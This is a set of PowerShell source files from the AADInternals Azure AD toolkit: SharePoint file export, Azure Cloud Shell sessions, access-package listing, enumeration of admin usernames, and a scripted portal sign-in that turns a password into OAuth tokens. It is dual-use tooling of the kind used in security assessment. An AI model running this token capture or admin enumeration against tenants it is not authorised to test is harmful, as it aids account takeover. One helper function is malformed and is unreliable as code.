$AccessToken -Resource "https://$Tenant" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" $headers=@{ "Authorization" = "Bearer $AccessToken" } } # Invoke the initial requests try { if($Id) { $response = Invoke-WebRequest2 -Uri "$Site/_api/web/GetFileById('$Id')" -Method Get -WebSession $siteSession -Headers $headers -ErrorAction SilentlyContinue } else { $siteUrl = $Site.Substring($webUrl.Length) $response = Invoke-WebRequest2 -Uri "$Site/_api/web/GetFileByServerRelativePath(decodedurl='$([System.Net.WebUtility]::HtmlEncode("$siteUrl/$RelativePath"))')" -Method Get -WebSession $siteSession -Headers $headers -ErrorAction SilentlyContinue } } catch { Throw $_.Exception.Message } if($response.StatusCode -eq 200) { [xml]$response = $response.Content $fileInformation = [PSCustomObject]@{ "IsPage" = $response.entry.content.properties.CustomizedPageStatus.'#text' -ne "0" "Name" = $response.entry.content.properties.Name "RelativeUrl" = $response.entry.content.properties.ServerRelativeUrl "Id" = [Guid]$response.entry.content.properties.UniqueId.'#text' "TimeCreated" = [System.DateTime]$response.entry.content.properties.TimeCreated.'#text' "TimeLastModified" = [System.DateTime]$response.entry.content.properties.TimeLastModified.'#text' } } Remove-Variable -Name "response" # Download the file if($Download) { Invoke-WebRequest2 -Uri "$Site/_api/web/GetFileById('$($fileInformation.Id)')/OpenBinaryStream" -Method Get -WebSession $siteSession -Headers $headers -ErrorAction SilentlyContinue -OutFile $fileInformation.Name # Set the timestamps (Get-Item -Path $fileInformation.Name).LastWriteTime = $fileInformation.TimeLastModified (Get-Item -Path $fileInformation.Name).CreationTime = $fileInformation.TimeCreated Write-Host "File saved to $($fileInformation.Name)" } else { # Get ParentId $response = Invoke-WebRequest2 -Uri "$Site/_api/web/GetFileById('$($fileInformation.Id)')/Properties" -Method Get -WebSession $siteSession -Headers $headers -ErrorAction SilentlyContinue if($response.StatusCode -eq 200) { [xml]$response = $response.Content $fileInformation | Add-Member -NotePropertyName "ParentId" -NotePropertyValue ([Guid]$response.entry.content.properties.vti_x005f_parentid) $fileInformation | Add-Member -NotePropertyName "Author" -NotePropertyValue $response.entry.content.properties.vti_x005f_author $fileInformation | Add-Member -NotePropertyName "ModifiedBy" -NotePropertyValue $response.entry.content.properties.vti_x005f_modifiedby } return $fileInformation } } } # Gets WebId of SPOSite # Mar 9th 2023 function Get-SPOWebId { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Site, [Parameter(Mandatory=$False)] [String]$AuthHeader, [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { $Site=$Site.TrimEnd("/") $tenant=$Site.Split("/")[2] if(![string]::IsNullOrEmpty($AuthHeader)) { # Create a WebSession object $siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain } else { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" $headers=@{ "Authorization" = "Bearer $AccessToken" } } # Get WebId $response = Invoke-WebRequest2 -Uri "$Site/_api/web/id" -Method Get -WebSession $siteSession -Headers $headers -ErrorAction SilentlyContinue if($response.StatusCode -eq 200) { [xml]$response = $response.Content $retVal = [Guid]$response.id.'#text' } return $retVal } } # Gets information of the given folder from the given site # Mar 9th 2023 function Get-SPOSiteFolder { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Site, [Parameter(Mandatory=$False)] [PSObject]$Id, [Parameter(Mandatory=$False)] [String]$RelativePath, [Parameter(Mandatory=$False)] [String]$AuthHeader, [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { if($Id -eq $null -and [string]::IsNullOrEmpty($RelativePath)) { Throw "Either file Id or RelativePath must be provided" } $Site=$Site.TrimEnd("/") $tenant=$Site.Split("/")[2] if(![string]::IsNullOrEmpty($AuthHeader)) { # Create a WebSession object $siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain } else { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" $headers=@{ "Authorization" = "Bearer $AccessToken" } } # Invoke the initial requests try { if($Id) { $response = Invoke-WebRequest2 -Uri "$Site/_api/web/GetFolderById('$Id')" -Method Get -WebSession $siteSession -Headers $headers -ErrorAction SilentlyContinue } else { $response = Invoke-WebRequest2 -Uri "$Site/_api/web/GetFolderByServerRelativePath(decodedurl='$([System.Net.WebUtility]::HtmlEncode($RelativePath))')" -Method Get -WebSession $siteSession -Headers $headers -ErrorAction SilentlyContinue } } catch { throw $_.Exception.Message } if($response.StatusCode -eq 200) { [xml]$response = $response.Content $folderInformation = [PSCustomObject]@{ "RelativeUrl" = $response.entry.content.properties.ServerRelativeUrl "Id" = [Guid]$response.entry.content.properties.UniqueId.'#text' "TimeCreated" = [System.DateTime]$response.entry.content.properties.TimeCreated.'#text' "TimeLastModified" = [System.DateTime]$response.entry.content.properties.TimeLastModified.'#text' } # Parse the full folder name $webUrl = "https://$tenant" $siteUrl = $Site.Substring($webUrl.Length) $folderInformation | Add-Member -NotePropertyName "Name" -NotePropertyValue $folderInformation.RelativeUrl.Substring($siteUrl.Length+1) } # Get ParentId Remove-Variable -Name "response" $response = Invoke-WebRequest2 -Uri "$Site/_api/web/GetFolderById('$($folderInformation.Id)')/Properties" -Method Get -WebSession $siteSession -Headers $headers -ErrorAction SilentlyContinue if($response.StatusCode -eq 200) { [xml]$response = $response.Content if($response.entry.content.properties.vti_x005f_parentid) { $folderInformation | Add-Member -NotePropertyName "ParentId" -NotePropertyValue ([Guid]$response.entry.content.properties.vti_x005f_parentid) } # listid seems to be same as listname, but doesn't exist for all folders #if($response.entry.content.properties.vti_x005f_listid) #{ # $folderInformation | Add-Member -NotePropertyName "ListId" -NotePropertyValue ([Guid]$response.entry.content.properties.vti_x005f_listid) #} if($response.entry.content.properties.vti_x005f_listname) { $folderInformation | Add-Member -NotePropertyName "ListId" -NotePropertyValue ([Guid]$response.entry.content.properties.vti_x005f_listname) } if($response.entry.content.properties.vti_x005f_modifiedby) { $folderInformation | Add-Member -NotePropertyName "ModifiedBy" -NotePropertyValue $response.entry.content.properties.vti_x005f_modifiedby } } return $folderInformation } } # Downloads the given file from SPO # Mar 10th 2023 <# .SYNOPSIS Downloads the given file from SPO .DESCRIPTION Downloads the given file from SPO .Parameter AccessToken SharePoint Online Access Token .Parameter Site The site name .Parameter RelativePath Path of the file to be exported .Example PS C:\>Get-AADIntAccessTokenForSPO -SaveToCache PS C:\>Export-AADIntSPOSiteFile -Site "https://company.sharepoint.com/sites/Sales" -RelativePath "Shared Documents/General/sales.xlsx" File saved to sales.xlsx #> function Export-SPOSiteFile { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Site, [String]$RelativePath, [Parameter(Mandatory=$False)] [String]$AuthHeader, [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { # Download the file Get-SPOSiteFile -AccessToken $AccessToken -AuthHeader $AuthHeader -Site $site -RelativePath $RelativePath -Download } }
CloudShell.ps1
AADInternals-0.9.4
# Starts Azure Cloud Shell session # Sep 8th 2020 function Start-CloudShell { <# .SYNOPSIS Starts an Azure Cloud Shell session. .DESCRIPTION Starts an Azure Cloud Shell session for the given user. Note: Does not work with VSCode or ISE. .Parameter AccessToken The access token used to start the session. .EXAMPLE Get-AADIntAccessTokenForCloudShell -SaveToCache PS\:>Start-AADIntCloudShell #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [ValidateSet('PowerShell','Bash')] [String]$Shell="PowerShell", [Parameter(Mandatory=$False)] [guid]$SubscriptionId, [Parameter(Mandatory=$False)] [String]$ResourceGroup, [Parameter(Mandatory=$False)] [String]$StorageAccount, [Parameter(Mandatory=$False)] [String]$FileShareName ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "00000006-0000-0ff1-ce00-000000000000" if(!$host.UI.SupportsVirtualTerminal) { Write-Error "PowerShell ISE or VSCode not supported!" return } try { # Check the user settings $userSettings = Get-UserCloudShellSettings -AccessToken $AccessToken if(!$userSettings) { # User has no settings, we need storage account and fileshare information to create new settings if([string]::IsNullOrEmpty($StorageAccount) -or [string]::IsNullOrEmpty($ResourceGroup) -or [string]::IsNullOrEmpty($FileShareName) -or ($SubscriptionId -eq $null)) { Write-Warning "User has no cloud shell settings. If connection fails, please provide Storage Account and FileShare details." } else { # Let's try to create setting $StorageAccountId = "/subscriptions/$SubscriptionId/resourcegroups/$ResourceGroup/providers/Microsoft.Storage/storageAccounts/$StorageAccount" $userSettings = Set-UserCloudShellSettings -AccessToken $AccessToken -StorageAccountId $StorageAccountId -fileShareName $fileShareName } } else { Write-Verbose "User settings received!" } # Get the shell info $shellInfo = New-CloudShell -AccessToken $AccessToken Write-Verbose "Created shell $($shellInfo.uri)" # Get the authorization code $authToken = Get-CloudShellAuthToken -AccessToken $AccessToken -Url $shellInfo.uri Write-Verbose "Received auth-token $authToken" # Get the settings $settings = Get-CloudShellSettings -AccessToken $AccessToken -Url $shellInfo.uri -Shell $Shell Write-Verbose "Received cloud shell settings" } catch { Write-Error "Failed to connect to Cloud Shell $($_.Message)" return } # Save the current setting for Ctrl+C $CtrlC = [console]::TreatControlCAsInput Try { $url = $settings.socketUri # Create the socket and keep alive $socket = New-Object System.Net.WebSockets.ClientWebSocket # Set the cookies $cookiec = [System.Net.CookieContainer]::new(1) $cookie = [System.Net.Cookie]::new("auth-token", $authToken) $cookie.Domain = ".console.azure.com" $cookiec.Add($cookie) $socket.Options.Cookies = $cookiec # Create the token and open the connection $token = New-Object System.Threading.CancellationToken $connection = $socket.ConnectAsync($url, $token) Write-Verbose "Connecting to socket $($settings.socketUri)" # Wait 'till the connection is completed While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 100 } if($connection.IsFaulted -eq "True") { Write-Error $connection.Exception return } Write-Verbose "Connected to socket." # Buffer for the content $buffer = New-Object Byte[] 1024 $socket_in = $Socket.ReceiveAsync($buffer, $Token) # Clear the console and set the Ctlr+C to be used as an input (so that we can stop things running in cloud) [console]::TreatControlCAsInput = $true [console]::Clear() # The main loop do { # If the read is completed, print it to console and start another read if($socket_in.IsCompleted) { $retVal = $buffer[0..$($socket_in.Result.Count-1)] $text = [text.encoding]::UTF8.GetString($retVal) [console]::Write($text) $socket_in = $Socket.ReceiveAsync($buffer, $Token) } # Read the key if available if([console]::KeyAvailable) { $key = [console]::ReadKey($True) # https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences switch($key.Key) { "Insert" { $keyBytes = [byte[]]@(27,91,50,126) } "Delete" { $keyBytes = [byte[]]@(27,91,51,126) } "PageUp" { $keyBytes = [byte[]]@(27,91,53,126) } "PageDown" { $keyBytes = [byte[]]@(27,91,54,126) } "UpArrow" { $keyBytes = [byte[]]@(27,79,65) } "DownArrow" { $keyBytes = [byte[]]@(27,79,66) } "RightArrow" { $keyBytes = [byte[]]@(27,79,67) } "LeftArrow" { $keyBytes = [byte[]]@(27,79,68) } "Home" { $keyBytes = [byte[]]@(27,79,72) } "End" { $keyBytes = [byte[]]@(27,79,70) } default { $keyBytes = [text.encoding]::UTF8.GetBytes($key.KeyChar) } } SendToSocket -Socket $socket -Token $token -Bytes $keyBytes } } Until (!$connection -or $socket_in.IsFaulted -eq "True") } Catch { Write-Error $_ } Finally { # Return the original Ctrl+C [console]::TreatControlCAsInput = $CtrlC If ($socket) { Write-Verbose "Closing websocket" $socket.Dispose() } } } }
AccessPackages.ps1
AADInternals-0.9.4
# This file contains functions for accessing access packages # Gets access packages # Apr 24 2023 function Get-AccessPackages { <# .SYNOPSIS Returns access packages. .DESCRIPTION Returns access packages. .Parameter AccessToken Access token for the target tenant. .Example PS C:\>Get-AADIntAccessTokenForAccessPackages -Tenant company.com -SaveToCache PS C:\>Get-AADIntAccessPackages id : df9513b4-1686-4434-8c37-cbfaeea51b69 catalogId : 755780b3-9228-4cf6-8919-732c6f0ff026 displayName : Visitors description : Access package for Visitors isHidden : False isRoleScopesVisible : False createdBy : [email protected] createdByString : [email protected] createdDateTime : 2022-01-02T10:20:44.247Z modifiedBy : [email protected] lastModifiedByString : [email protected] modifiedDateTime : 2022-01-02T10:20:44.247Z lastModifiedDateTime : 2022-01-02T10:20:44.247Z lastCriticalModificationDateTime : lastSuccessfulChangeEvaluationDateTime : #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [string]$AccessToken ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://elm.iga.azure.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" # Get access packages try { $response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://elm.iga.azure.com/api/v1/accessPackages/Search()?`$count=true&`$top=999" -Headers @{"Authorization" = "Bearer $AccessToken"} } catch{} return $response.Value } } # Gets access package catalogs # Apr 24 2023 function Get-AccessPackageCatalogs { <# .SYNOPSIS Returns access package catalogs. .DESCRIPTION Returns access package catalogs. .Parameter AccessToken Access token for the target tenant. .Example PS C:\>Get-AADIntAccessTokenForAccessPackages -Tenant company.com -SaveToCache PS C:\>Get-AADIntAccessPackageCatalogs id : 755780b3-9228-4cf6-8919-732c6f0ff026 displayName : Visitors description : Catalog for visitors catalogType : UserManaged catalogStatus : Published state : published isExternallyVisible : True createdBy : [email protected] createdByString : [email protected] createdDateTime : 2022-01-02T10:20:44.247Z modifiedBy : [email protected] lastModifiedByString : [email protected] modifiedDateTime : 2022-01-02T10:20:44.247Z lastModifiedDateTime : 2022-01-02T10:20:44.247Z #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [string]$AccessToken ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://elm.iga.azure.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" # Get access packages try { $response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://elm.iga.azure.com/api/v1/accessPackageCatalogs/Search()?`$count=true&`$top=999" -Headers @{"Authorization" = "Bearer $AccessToken"} } catch{} return $response.Value } } # Returns access package creators & modifiers # Apr 24th 2023 function Get-AccessPackageAdmins { <# .SYNOPSIS Returns access packages administrators. .DESCRIPTION Returns administrators from access package and access package catalog createdBy and modifiedBy fields. The returned administrators are Global Administrators, User Administrators (until May 5 2023), or Identity Governance Administrators (since May 2023). .Parameter AccessToken Access token for the target tenant. .Example PS C:\>Get-AADIntAccessTokenForAccessPackages -Tenant company.com -SaveToCache PS C:\>Get-AADIntAccessPackageAdmins Acheaduncompany.com Alexaneoscompany.com Andownlocompany.com Anselowslcompany.com Babergencompany.com Bethportcompany.com Brangelocompany.com Caranteecompany.com Chmenscompany.com Conneytrcompany.com Crofficompany.com Diumficompany.com Downtichocompany.com Getacewedcompany.com #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken ) Process { # Get token for access packages $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://elm.iga.azure.com" # Get access packages and catalogs $accessPackages = Get-AccessPackages -AccessToken $AccessToken $accessPackageCatalogs = Get-AccessPackageCatalogs -AccessToken $AccessToken # Get names $names = @() $accesspackageCatalogs | Select -ExpandProperty "createdBy" | %{ $names += $_} $accesspackageCatalogs | Select -ExpandProperty "modifiedBy" | %{ $names += $_} $accesspackages | Select -ExpandProperty "createdBy" | %{ $names += $_} $accesspackages | Select -ExpandProperty "modifiedBy" | %{ $names += $_} # Return unique usernames with upn $names | Select-String -Pattern "@" | Sort-Object | Get-Unique } }
AzureManagementAPI_utils.ps1
AADInternals-0.9.4
# Creates a web session with given cookie header function Create-WebSession { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [string]$SetCookieHeader, [Parameter(Mandatory=$True)] [string]$Domain ) Process { $session = New-Object Microsoft.PowerShell.Commands.WebRequestSession # login.live.com: MSPRequ=lt=1540361812&co=1&id=N; secure= ;path=/;HTTPOnly=;version=1,uaid=bf4b7f37ec1d4084aa68952b9edebb6b; domain=login.live.com;secure= ;path=/;HTTPOnly= ;version=1,MSPOK=$uuid-f4f5ef25-7343-4de8-84cb-266ea1b47bc2; domain=login.live.com;secure= ;path=/;HTTPOnly= ;version=1 if($domain -eq "login.live.com") { $SetCookie = $SetCookieHeader.Split(";,") foreach($Cookie in $SetCookie) { $name = $Cookie.Split("=")[0].trim() $value = $Cookie.Substring($name.Length+1) switch($name) { "secure" {} "path" {} "HTTPOnly" {} "domain" {} "version" {} default { $webCookie = New-Object System.Net.Cookie $webCookie.Name = $name $webCookie.Value = $value $webCookie.Domain = $Domain $session.Cookies.Add($webCookie) Write-Verbose "COOKIE [$Domain]: $webCookie" } } } } elseif($domain.EndsWith(".sharepoint.com")) # Sharepoint { $SetCookie = $SetCookieHeader.Replace("HttpOnly","|").Split("|") foreach($Cookie in $SetCookie) { if(![String]::IsNullOrEmpty($Cookie)) { $Cookie = $Cookie.Split(";")[0].trim() $name = $Cookie.Split("=")[0].trim() $value = $Cookie.Substring($name.Length+1) # Strip the trailing semi colon $value=$value.Split(";")[0] $webCookie = New-Object System.Net.Cookie $webCookie.Name = $name $webCookie.Value = $value $webCookie.Domain = $Domain $session.Cookies.Add($webCookie) Write-Verbose "COOKIE [$Domain]: $webCookie" } } } else # login.microsoftonline.com: { # Split the cookie string $SetCookie = $SetCookieHeader.Replace("HttpOnly","|").Split("|") foreach($Cookie in $SetCookie) { # Split the individual cookie and remove possible trailing comma $Cookie=($Cookie.Split(";")[0]).Replace(',','') if(![string]::IsNullOrEmpty($Cookie)) { $webCookie = New-Object System.Net.Cookie $webCookie.Name = $Cookie.Split("=")[0] $webCookie.Value = $Cookie.Substring($webCookie.Name.Length+1) $webCookie.Domain = $Domain $session.Cookies.Add($webCookie) Write-Verbose "COOKIE [$Domain]: $webCookie" } } } return $session } } # Creates a web session with given cookie header function Create-WebSession2 { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [System.Security.]$Headers, [Parameter(Mandatory=$True)] [string]$Domain ) Process { $session = New-Object Microsoft.PowerShell.Commands.WebRequestSession # Split the cookie string $SetCookie = $SetCookieHeader $SetCookie = $SetCookie.Replace("HttpOnly","|").Replace("HTTPOnly","|").Split("|") foreach($Cookie in $SetCookie) { # Split the individual cookie and remove possible trailing comma $Cookie=($Cookie.Split(";")[0]).Replace(',','') if(![string]::IsNullOrEmpty($Cookie)) { $webCookie = New-Object System.Net.Cookie $webCookie.Name = $Cookie.Split("=")[0] $webCookie.Value = $Cookie.Split("=")[1] $webCookie.Domain = $Domain $session.Cookies.Add($webCookie) } } return $session } } # Gets the access token for Azure Management API # Uses totally different flow than other access tokens. # Oct 23rd 2018 # TODO: Add support for form based & SAML authentication function Get-AccessTokenForAzureMgmtAPI { <# .SYNOPSIS Gets OAuth Access Token for Azure Management API .DESCRIPTION Gets OAuth Access Token for Azure Management API .Parameter Credentials Credentials of the user. .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForAzureMgmtAPI -Credentials $cred #> [cmdletbinding()] Param( [Parameter()] [System.Management.Automation.PSCredential]$Credentials, [Parameter()] [Switch]$SaveToCache ) Process { $accessToken="" $refreshToken="" # Check if we got credentials if([string]::IsNullOrEmpty($Credentials) -and [string]::IsNullOrEmpty($SAMLToken)) { # No credentials given, so prompt for credentials $tokens = Prompt-AzureADCredentials $accessToken = $tokens["access_token"] $refreshToken = $tokens["refresh_token"] } else { $userName = $Credentials.UserName $password = $credentials.GetNetworkCredential().Password # Step 1: Go to portal.azure.com to get cookies and authentication url $headers=@{ "Sec-Fetch-Dest" = "script" "Sec-Fetch-Site" = "same-origin" "Sec-Fetch-Mode" = "no-cors" "Referer"="https://portal.azure.com" } $response = Invoke-WebRequest -UseBasicParsing -uri "https://portal.azure.com/signin/idpRedirect.js/?feature.settingsportalinstance=&feature.refreshtokenbinding=true&feature.usemsallogin=true&feature.snivalidation=true&feature.setsamesitecookieattribute=true&feature.argsubscriptions=&feature.showservicehealthalerts=&idpRedirectCount=0" -Headers $headers $html=$response.Content $s=$html.IndexOf('https://login.microsoftonline.com') $e=$html.IndexOf('"',$s) $url=$html.Substring($s,$e-$s) $azureWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "portal.azure.com" # Step 2: Go to login.microsoftonline.com to get configuration and cookies $response = Invoke-WebRequest -UseBasicParsing -uri $url -Headers @{Cookie="x-ms-gateway-slice=004; stsservicecookie=ests; AADSSO=NANoExtension; SSOCOOKIEPULLED=1"} $html = $response.Content $s=$html.IndexOf('$Config=') $e=$html.IndexOf('};',$s+8) $config=$html.Substring($s+8,$e-$s-7) | ConvertFrom-Json $MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com" # Step3: Get user information, including Flow Token $userInfo=Get-CredentialType -UserName $userName -FlowToken $config.sFT # LOGIN.LIVE.COM if($userInfo.EstsProperties.DomainType -eq 2) # =live account { # Step L1: Go to login.live.com to get configuration and cookies $response = Invoke-WebRequest -UseBasicParsing -uri $config.urlGoToAADError $html = $response.Content $s=$html.IndexOf('ServerData =') $e=$html.IndexOf('};',$s+13) $config=$html.Substring($s+13,$e-$s-12) # ConvertFrom-Json is caseinsensitive so need to use this one $config = (New-Object -TypeName System.Web.Script.Serialization.JavaScriptSerializer -Property @{MaxJsonLength=67108864}).DeserializeObject($config) $liveWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.live.com" $sFTTag= [xml]$config.sFTTag $PPFT = $sFTTag.SelectSingleNode("//input[@name='PPFT']").value # Step L2: Login to login.live.com $body=@{ "login" = $userName "loginFmt" = $userName "i13"="0" "type"="11" "LoginOptions"="3" "passwd"=$password "ps"="2" "canary"="" "ctx"="" "NewUser"="1" "fspost"="0" "i21"="0" "CookieDisclosure"="1" "IsFidoSupported"="1" "hpgrequestid"="" "PPSX"="Pa" "PPFT"=$PPFT "i18"="__ConvergedLoginPaginatedStrings|1,__OldConvergedLogin_PCore|1," "i2"="1" } $headers=@{ "User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "Upgrade-Insecure-Requests" = "1" } $response = Invoke-WebRequest -UseBasicParsing -Uri $config.urlPost -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $liveWebSession $html = $response.Content # No well formed xml, so need to do some tricks.. First, find the form start and end tags $s=$html.IndexOf("<form") $e=$html.IndexOf("</form>") $form = $html.Substring($s,$e-$s) # Strip the form end tag # End all tags $form=$form.replace('">','"/>') # Add start and end tags $form="<html>$form</html>" $html=[xml]$form $fmHF = $html.SelectSingleNode("//form[@name='fmHF']").action $code = $html.SelectSingleNode("//input[@name='code']").value $state = $html.SelectSingleNode("//input[@name='state']").value # Step L3: Login to login.microsoftonline.com with code and state $body = @{ "code" = $code "state" = $state } $response = Invoke-WebRequest -UseBasicParsing -Uri $fmHF -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $MSOnlineComwebSession $MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com" $html = $response.Content $s=$html.IndexOf('$Config=') $e=$html.IndexOf('};',$s+8) $config=$html.Substring($s+8,$e-$s-7) | ConvertFrom-Json # Step L4: Get code, id_token, and state information $body=@{ "LoginOptions"="0" "flowToken"=$config.sFT "canary"=$config.canary "ctx"=$config.sCtx "hpgrequestid"=(New-Guid).ToString() } $response = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/kmsi" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $MSOnlineComwebSession $MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com" $html = [xml]$response.Content $code = $html.SelectSingleNode("//input[@name='code']").value $id_token = $html.SelectSingleNode("//input[@name='id_token']").value $state = $html.SelectSingleNode("//input[@name='state']").value $session_state = $html.SelectSingleNode("//input[@name='session_state']").value # Step L5: Sign in to portal.azure.com to get redirect URL $body=@{ "code"= $code "id_token" = $id_token "state" = $state "session_state" = $session_state } $response = Invoke-WebRequest -UseBasicParsing -Uri "https://portal.azure.com/signin/index/" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $azureWebSession $azureWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "portal.azure.com" $html=$response.Content $s=$html.IndexOf('MsPortalImpl.redirectToUri("') $e=$html.IndexOf('")',$s) $url=$html.Substring($s+28,$e-$s-28) # Step L6: Go to portal.azure.com to get another redirect URL $response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Get -Headers $headers -WebSession $azureWebSession $azureWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "portal.azure.com" $html=$response.Content $s=$html.IndexOf('https://login.microsoftonline.com') $e=$html.IndexOf('"',$s) $url=$html.Substring($s,$e-$s)# |ConvertFrom-Json # Step L7: Login to login.microsoftonline.com (again) using the received url to get code etc. $response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Get -ContentType "application/x-www-form-urlencoded" -Headers $headers -WebSession $MSOnlineComwebSession $MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com" $html = [xml]$response.Content $code = $html.SelectSingleNode("//input[@name='code']").value $id_token = $html.SelectSingleNode("//input[@name='id_token']").value $state = $html.SelectSingleNode("//input[@name='state']").value $session_state = $html.SelectSingleNode("//input[@name='session_state']").value $url = $html.SelectSingleNode("//form[@name='hiddenform']").action # Step L8: Sign in to portal.azure.com to get OAuth token $body=@{ "code"= $code "id_token" = $id_token "state" = $state "session_state" = $session_state } $response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $azureWebSession $azureWebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "portal.azure.com" } else # LOGIN.MICROSOFTONLINE.COM { # Step M1: Login to login.microsoftonline.com $body=@{ "login" = $userName "loginFmt" = $userName "i13"="0" "type"="11" "LoginOptions"="3" "passwd"=$password "ps"="2" "flowToken"=$userInfo.FlowToken "canary"=$config.canary "ctx"=$config.sCtx "NewUser"="1" "fspost"="0" "i21"="0" "CookieDisclosure"="1" "IsFidoSupported"="1" "hpgrequestid"=(New-Guid).ToString() } $headers=@{ "User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "Upgrade-Insecure-Requests" = "1" } $response = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/common/login" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $MSOnlineComwebSession $MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com" $html = $response.Content $s=$html.IndexOf('$Config=') $e=$html.IndexOf('};',$s+8) $config=$html.Substring($s+8,$e-$s-7) | ConvertFrom-Json $MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com" # Step M2: Get code, id_token, and state information $body=@{ "LoginOptions"="0" "flowToken"=$config.sFT "canary"=$config.canary "ctx"=$config.sCtx "hpgrequestid"=(New-Guid).ToString() } $response = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/kmsi" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $MSOnlineComwebSession $MSOnlineComwebSession = Create-WebSession -SetCookieHeader $response.Headers.'Set-Cookie' -Domain "login.microsoftonline.com" $html = [xml]$response.Content $code = $html.SelectSingleNode("//input[@name='code']").value $id_token = $html.SelectSingleNode("//input[@name='id_token']").value $state = $html.SelectSingleNode("//input[@name='state']").value $session_state = $html.SelectSingleNode("//input[@name='session_state']").value # Step M3: Sign in to portal.azure.com $body=@{ "code"= $code "id_token" = $id_token "state" = $state "session_state" = $session_state } $response = Invoke-WebRequest -UseBasicParsing -Uri "https://portal.azure.com/signin/index/" -Method Post -ContentType "application/x-www-form-urlencoded" -Body $body -Headers $headers -WebSession $azureWebSession } # Get the OAuth token $html=$response.Content $s=$html.IndexOf('{"oAuthToken":') $e=$html.IndexOf('}}',$s) $token=$html.Substring($s,$e-$s+2) |ConvertFrom-Json # Return $accessToken = $token.oAuthToken.authHeader.Split(" ")[1] $refreshToken = $token.oAuthToken.refreshToken } # Save the tokens to cache if($SaveToCache) { Write-Verbose "ACCESS TOKEN: SAVE TO CACHE" Add-AccessTokenToCache -AccessToken $accessToken -RefreshToken $refreshToken -ShowCache $false } else # Return { return $accessToken } } } # Obsolete since Nov 11th 2020 # Gets the access token for Azure AD IAM API # Oct 24th 2018 # TODO: Add support for form based & SAML authentication function Get-AccessTokenForAADIAMAPI2 { <# .SYNOPSIS Gets OAuth Access Token for Azure AD IAM API .DESCRIPTION Gets OAuth Access Token for Azure AD IAM API .Parameter Credentials Credentials of the user. .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForAADIAMAPI -Credentials $cred #> [cmdletbinding()] Param( [Parameter()] [System.Management.Automation.PSCredential]$Credentials ) Process { $AADAuth = Get-AccessTokenForAzureMgmtAPI -Credentials $Credentials -ExportTokenObject $token = Get-DelegationToken -ExtensionName Microsoft_AAD_IAM -AccessToken $AADAuth return $token.authHeader.Split(" ")[1] } } # Get delegation token for the given extension function Get-DelegationToken { [cmdletbinding()] Param( 